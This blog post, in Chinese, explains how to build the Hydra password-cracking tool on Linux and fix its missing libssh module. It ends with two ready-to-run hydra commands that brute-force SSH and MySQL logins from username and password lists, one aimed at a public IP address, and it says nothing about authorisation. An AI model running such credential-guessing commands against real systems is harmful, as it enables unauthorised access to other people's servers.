1
|
[root@srv-dfh526 hydra-7.6]
#yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel mysql-devel
|
1
2
3
4
5
6
7
8
|
[root@srv-dfh526 hydra-7.6]
# ./configure -h
Options:
--prefix=path path to
install
hydra and its datafiles to
--with-oracle=prefix prefix
for
oracle include
dir
--with-oracle-lib=prefix prefix
for
oracle lib
dir
--disable-xhydra disable compilation of hydra GUI
--nostrip
do
not per default strip binaries before
install
--help this here
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
[root@srv-dfh526 bin]
# cd /root/install/hydra-7.6
[root@srv-dfh526 hydra-7.6]
# ./configure
Starting hydra auto configuration ...
Detected 64 Bit Linux OS
Checking
for
openssl (libssl, libcrypto, ssl.h, sha.h) ...
... found
Checking
for
idn (libidn.so) ...
... found
Checking
for
curses (libcurses.so / term.h) ...
... found, color output enabled
Checking
for
pcre (libpcre.so, pcre.h) ...
... found
Checking
for
Postgres (libpq.so, libpq-fe.h) ...
... found
Checking
for
SVN (libsvn_client-1 libapr-1.so libaprutil-1.so) ...
... NOT found, module svn disabled
Checking
for
firebird (libfbclient.so) ...
... NOT found, module firebird disabled
Checking
for
MYSQL client (libmysqlclient.so, math.h) ...
... found
Checking
for
AFP (libafpclient.so) ...
... NOT found, module Apple Filing Protocol disabled - Apple sucks anyway
Checking
for
NCP (libncp.so / nwcalls.h) ...
... NOT found, module NCP disabled
Checking
for
SAP
/R3
(librfc
/saprfc
.h) ...
... NOT found, module sapr3 disabled
Get it from http:
//www
.sap.com
/solutions/netweaver/linux/eval/index
.asp
Checking
for
libssh (libssh
/libssh
.h) ...
... NOT found, module
ssh
disabled
Get it from http:
//www
.libssh.org
Checking
for
Oracle (libocci.so libclntsh.so / oci.h and libaio.so) ...
... NOT found, module Oracle disabled
Get basic and sdk package from http:
//www
.oracle.com
/technetwork/database/features/instant-client/index
.html
Checking
for
GUI req's (pkg-config, gtk+-2.0) ...
... found
Checking
for
Android specialities ...
... rindex() found
... RSA_generate_key() found
Hydra will be installed into ...
/bin
of:
/usr/local
(change this by running .
/configure
--prefix=path)
Writing Makefile.
in
...
now
type
"make"
|
1
2
|
[root@srv-dfh526 bin]
# make
[root@srv-dfh526 bin]
# make install
|
一个猜解神奇,安装了尝试破解ssh发现缺少libssh模块。
1
2
3
4
5
6
7
8
|
wget http:
//www
.libssh.org
/files/0
.4
/libssh-0
.4.8.
tar
.gz
tar
zxf libssh-0.4.8.
tar
.gz
cd
libssh-0.4.8
mkdir
build
cd
build
cmake -DCMAKE_INSTALL_PREFIX=
/usr
-DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make
install
|
在记性了ssh安装以后,发现依然无法正确运行。
思考下认为是模块未被已经编译的hydra加载的缘故,所以进入安装包hydra-7.6 然后 make clean 再重新安装。
发现可以运行成功
1
2
|
hydra -L user.txt -P pass.txt -o savessh.log -f -vV -e ns 10.0.5.24
ssh
hydra -L user.txt -P sup.txt -o savessh.log -f -vV -e ns 113.105.144.130 mysql
|
版权声明:原创作品,如需转载,请注明出处。否则将追究法律责任
本文转自 梦朝思夕 51CTO博客,原文链接:http://blog.51cto.com/qiangmzsx/1414360